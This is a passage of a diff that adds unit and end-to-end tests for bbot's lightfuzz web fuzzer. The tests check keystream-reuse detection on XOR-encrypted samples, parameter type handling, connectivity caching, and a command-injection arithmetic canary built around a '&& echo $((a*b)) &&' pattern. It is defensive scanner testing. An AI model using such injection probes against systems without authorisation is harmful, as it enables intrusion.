sharing a keystream +# - TRUE NEGATIVES: structured hex IDs that share a prefix by construction + + +def _xor_encrypt(plaintext, key): + """XOR plaintext with key (repeating key if shorter).""" + return bytes(p ^ key[i % len(key)] for i, p in enumerate(plaintext)) + + +def _make_crypto_for_keystream(probe_value, same_param_values=None, additional_params=None): + """Build a crypto submodule instance with crafted event data for unit-testing detect_keystream_reuse.""" + from bbot.modules.lightfuzz.submodules.crypto import crypto + + event_data = { + "name": "token", + "type": "GETPARAM", + "original_value": probe_value, + "url": "http://test/page", + "same_param_values": same_param_values or [], + "additional_params": additional_params or {}, + "assigned_cookies": {}, + } + event = SimpleNamespace(data=event_data, url="http://test/page", host="test") + helpers = SimpleNamespace( + calculate_entropy=lambda d: 0, + truncate_string=lambda s, n=200: s if len(s) <= n else s[: n - 3] + "...", + ) + lightfuzz = SimpleNamespace(helpers=helpers) + return crypto(lightfuzz, event) + + +# -- True negatives: must NOT fire -- + + +def test_keystream_fp_mongo_objectid_same_process(): + """MongoDB ObjectIds from the same process share 9 bytes and differ in a 3-byte counter.""" + ids = [ + "65f1a2b3c1d2e3f4a5000001", + "65f1a2b3c1d2e3f4a5000002", + "65f1a2b3c1d2e3f4a5000003", + ] + c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:]) + c.detect_keystream_reuse(ids[0]) + assert not c.results, f"FP on same-process Mongo ObjectIds: {c.results}" + + +def test_keystream_fp_mongo_objectid_large_counter_gap(): + """Mongo ObjectIds with a larger counter gap (still same-process).""" + ids = [ + "65f1a2b3c1d2e3f4a5000001", + "65f1a2b3c1d2e3f4a50000ff", + ] + c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:]) + c.detect_keystream_reuse(ids[0]) + assert not c.results, f"FP on Mongo ObjectIds with counter gap: {c.results}" + + +def test_keystream_fp_hex_timestamps(): + """Hex-encoded Unix timestamps seconds apart share 3 of 4 bytes.""" + ids = [ + "68a1b2c3", + "68a1b2c5", + "68a1b2c8", + ] + c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:]) + c.detect_keystream_reuse(ids[0]) + assert not c.results, f"FP on hex timestamps: {c.results}" + + +def test_keystream_fp_sequential_hex_ids(): + """Sequential 8-byte hex IDs differing in the last 2 bytes.""" + ids = [ + "00000000000000a1", + "00000000000000a2", + "00000000000000a3", + ] + c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:]) + c.detect_keystream_reuse(ids[0]) + assert not c.results, f"FP on sequential hex IDs: {c.results}" + + +def test_keystream_fp_random_uuid_v4_hex(): + """Random UUID v4 values (no hyphens) share no meaningful prefix.""" + ids = [ + "550e8400e29b41d4a716446655440000", + "6ba7b8109dad11d180b400c04fd430c8", + ] + c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:]) + c.detect_keystream_reuse(ids[0]) + assert not c.results, f"FP on random UUID v4: {c.results}" + + +def test_keystream_fp_snowflake_hex_same_ms(): + """Snowflake-style IDs in hex: 6-byte timestamp + 2-byte counter.""" + ts = "0192a1b2c3d4" + ids = [ + ts + "0001", + ts + "0002", + ts + "0003", + ] + c = _make_crypto_for_keystream(ids[0], same_param_values=ids[1:]) + c.detect_keystream_reuse(ids[0]) + assert not c.results, f"FP on snowflake hex IDs: {c.results}" + + +def test_keystream_fp_sibling_form_fields_incremental(): + """Two hidden fields carrying sequential hex IDs (e.g. id + parent_id).""" + c = _make_crypto_for_keystream( + "aabbccdd00000010", + additional_params={"parent_id": "aabbccdd00000001"}, + ) + c.detect_keystream_reuse("aabbccdd00000010") + assert not c.results, f"FP on sibling sequential hex form fields: {c.results}" + + +# -- True positives: MUST fire -- + + +def test_keystream_tp_real_xor_shared_prefix(): + """Two plaintexts sharing a prefix, XOR-encrypted with the same key. + Simulates ColdFusion CFMX_COMPAT-style keystream reuse.""" + key = b"\x5a\x3c\x7e\x1d\x9b\x42\xf0\xa8\x6c\x33\xd1\x07\xe5\x88\x2f\xbb\x44\x19\xc7\x56" + pt1 = b"session_id=alice_admin" + pt2 = b"session_id=bobby_guest" + ct1 = _xor_encrypt(pt1, key) + ct2 = _xor_encrypt(pt2, key) + hex1, hex2 = ct1.hex(), ct2.hex() + c = _make_crypto_for_keystream(hex1, same_param_values=[hex2]) + c.detect_keystream_reuse(hex1) + assert c.results, "Missed real keystream reuse with shared-prefix plaintexts" + assert c.results[0]["severity"] in ("HIGH", "MEDIUM") + + +def test_keystream_tp_real_xor_no_shared_prefix(): + """Two plaintexts with no shared prefix, encrypted with the same key. + Detection driven by high ascii_xor_score across the full XOR.""" + key = b"\xaa\xbb\xcc\xdd\xee\xff\x11\x22\x33\x44" + pt1 = b"role=admin" + pt2 = b"user=guest" + ct1 = _xor_encrypt(pt1, key) + ct2 = _xor_encrypt(pt2, key) + hex1, hex2 = ct1.hex(), ct2.hex() + c = _make_crypto_for_keystream(hex1, same_param_values=[hex2]) + c.detect_keystream_reuse(hex1) + assert c.results, "Missed real keystream reuse with no shared prefix (ascii_score path)" + + +def test_keystream_tp_real_xor_numeric_plaintext(): + """Plaintexts are numeric strings (e.g. 'skillcd=12345' / 'skillcd=67890'), + encrypted with the same key. The diverging region is XOR of ASCII digits.""" + key = b"\xde\xad\xbe\xef\xca\xfe\xba\xbe\xd0\x0d\x1e\x55\xc0\xff\xee" + pt1 = b"skillcd=12345" + pt2 = b"skillcd=67890" + ct1 = _xor_encrypt(pt1, key) + ct2 = _xor_encrypt(pt2, key) + hex1, hex2 = ct1.hex(), ct2.hex() + c = _make_crypto_for_keystream(hex1, same_param_values=[hex2]) + c.detect_keystream_reuse(hex1) + assert c.results, "Missed real keystream reuse with numeric plaintext divergence" + + +def test_keystream_tp_existing_bug_report_ciphertexts(): + """The original bug-report ciphertexts (different lengths, 5-byte shared prefix). + Verifies the fix doesn't regress the motivating TP.""" + ct1 = "4E4CDA8A93F87A" + ct2 = "4E4CDA8A93FF7B8584EEDB4C8D59A9C3567657" + c = _make_crypto_for_keystream(ct1, same_param_values=[ct2]) + c.detect_keystream_reuse(ct1) + assert c.results, "Missed original bug-report keystream reuse ciphertexts" + assert c.results[0]["severity"] == "HIGH" + + +def test_keystream_tp_three_ciphertexts_best_pair_wins(): + """Three ciphertexts: one unrelated, two with real keystream reuse. + The detector should find and report the best pair.""" + key = b"\x5a\x3c\x7e\x1d\x9b\x42\xf0\xa8\x6c\x33\xd1\x07\xe5" + pt1 = b"account=admin" + pt2 = b"account=guest" + ct1 = _xor_encrypt(pt1, key) + ct2 = _xor_encrypt(pt2, key) + unrelated = "aabbccddee112233" + hex1, hex2 = ct1.hex(), ct2.hex() + c = _make_crypto_for_keystream(hex1, same_param_values=[unrelated, hex2]) + c.detect_keystream_reuse(hex1) + assert c.results, "Missed keystream reuse when an unrelated value is also present" + + +# End-to-end: MongoDB ObjectId listing page must not fire +class Test_Lightfuzz_keystream_reuse_mongo_objectid_fp(Test_Lightfuzz_keystream_reuse): + landing_page = """ + +

Users

+ Alice + Bob + Carol + + """ + + def check(self, module_test, events): + keystream_findings = [ + e + for e in events + if e.type == "FINDING" and "Stream Cipher Keystream Reuse" in e.data.get("description", "") + ] + assert not keystream_findings, ( + f"FP keystream-reuse on MongoDB ObjectIds: {[f.data.get('description') for f in keystream_findings]}" + ) + + +# --------------------------------------------------------------------------- +# WEB_PARAMETER type restored after conversion passes +# --------------------------------------------------------------------------- + + +class Test_Lightfuzz_type_mutation_restored(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["xss"], + "try_get_as_post": True, + "emit_baseline_responses": False, + }, + }, + } + + def request_handler(self, request): + parameter_block = """ + +
+ + +
+ + """ + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + self._captured_params = [] + original_handle = module_test.scan.modules["lightfuzz"].handle_event + + async def tracking_handle(event): + await original_handle(event) + if event.type == "WEB_PARAMETER": + self._captured_params.append( + { + "name": event.data.get("name"), + "type": event.data.get("type"), + "converted_from_get": event.data.get("converted_from_get"), + "converted_from_post": event.data.get("converted_from_post"), + } + ) + + module_test.scan.modules["lightfuzz"].handle_event = tracking_handle + + def check(self, module_test, events): + assert self._captured_params, "No WEB_PARAMETERs were processed by lightfuzz" + getparams = [p for p in self._captured_params if p["name"] == "q"] + assert getparams, "No GETPARAM 'q' was processed by lightfuzz" + for p in getparams: + assert p["type"] == "GETPARAM", ( + f"WEB_PARAMETER '{p['name']}' type was not restored after conversion passes: " + f"type={p['type']}, converted_from_get={p['converted_from_get']}" + ) + assert p["converted_from_get"] is None, ( + f"WEB_PARAMETER '{p['name']}' still has converted_from_get flag after handle_event" + ) + assert p["converted_from_post"] is None, ( + f"WEB_PARAMETER '{p['name']}' still has converted_from_post flag after handle_event" + ) + + +# --------------------------------------------------------------------------- +# cmdi arithmetic canary rejects leading-zero multiplicands +# --------------------------------------------------------------------------- + + +class Test_Lightfuzz_cmdi_no_leading_zero_arith(Test_Lightfuzz_cmdi): + """The arithmetic confirmation cascade must not produce leading-zero + multiplicands, which bash interprets as octal (diverging from Python's + decimal int()). This test forces rand_string to return a leading-zero + value first, then verifies that the while loop rejects it and the + detection still succeeds with a valid pair against a faithful bash mock. + """ + + _rand_call_idx = 0 + + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Faithful bash arithmetic: leading-zero literals are octal + arith = re.search(r"&& echo \$\(\((\d+)\*(\d+)\)\) &&", decoded) + if arith: + a_str, b_str = arith.group(1), arith.group(2) + try: + a_val = int(a_str, 8) if (len(a_str) > 1 and a_str[0] == "0") else int(a_str) + b_val = int(b_str, 8) if (len(b_str) > 1 and b_str[0] == "0") else int(b_str) + cmdi_value = str(a_val * b_val) + except ValueError: + cmdi_value = "" + elif "&& echo " in decoded: + cmdi_value = decoded.split("&& echo ")[1].split(" ")[0] + else: + cmdi_value = decoded + cmdi_block = f""" +
+

0 search results for '{cmdi_value}'

+
+
+ """ + return Response(cmdi_block, status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + # Cycle: first pair always has a leading zero (tests rejection), + # second pair is clean. Repeats for every cmdi submodule instance + # so the test works regardless of how many WEB_PARAMETERs excavate + # produces. + self.__class__._rand_call_idx = 0 + + def rand_string(*args, **kwargs): + if kwargs.get("numeric_only"): + if args and args[0] == 10: + return "1234567890" + idx = self.__class__._rand_call_idx + self.__class__._rand_call_idx += 1 + phase = idx % 4 + if phase == 0: + return "01234" + elif phase == 1: + return "56789" + elif phase == 2: + return "12345" + else: + return "67890" + return "AAAAAAAAAAAAAA" + + module_test.scan.modules["lightfuzz"].helpers.rand_string = rand_string + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + cmdi_finding = any( + e.type == "FINDING" + and "POSSIBLE OS Command Injection" in e.data.get("description", "") + and "arithmetic canary (POSIX)" in e.data.get("description", "") + for e in events + ) + assert cmdi_finding, ( + "POSIX arithmetic canary CMDi finding not emitted -- " + "leading-zero multiplicand may have been used (bash octal vs Python decimal)" + ) + + +# --------------------------------------------------------------------------- +# Connectivity test does not cache None (transient failure) +# --------------------------------------------------------------------------- + + +class Test_Lightfuzz_connectivity_no_cache_none(ModuleTestBase): + targets = ["http://127.0.0.1:8888"] + modules_overrides = ["http", "lightfuzz", "excavate"] + config_overrides = { + "interactsh_disable": True, + "modules": { + "lightfuzz": { + "enabled_submodules": ["xss"], + "emit_baseline_responses": False, + }, + }, + } + + _request_count = {"connectivity": 0} + + def request_handler(self, request): + parameter_block = """ + +
+ + +
+ + """ + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + lf = module_test.scan.modules["lightfuzz"] + original_request = lf.helpers.request + self.__class__._request_count = {"connectivity": 0} + + async def flaky_request(url, **kwargs): + if kwargs.get("timeout") == 10: + self.__class__._request_count["connectivity"] += 1 + if self.__class__._request_count["connectivity"] == 1: + return None + return await original_request(url, **kwargs) + + lf.helpers.request = flaky_request + + def check(self, module_test, events): + lf = module_test.scan.modules["lightfuzz"] + for url, resp in lf._connectivity_test_cache.items(): + assert resp is not None, ( + f"Connectivity cache poisoned with None for {url} -- " + f"transient failure was cached, blocking all params on this page" + ) + assert self.__class__._request_count["connectivity"] >= 2, ( + f"Only {self.__class__._request_count['connectivity']} connectivity request(s) made -- " + f"expected retry after transient failure" + )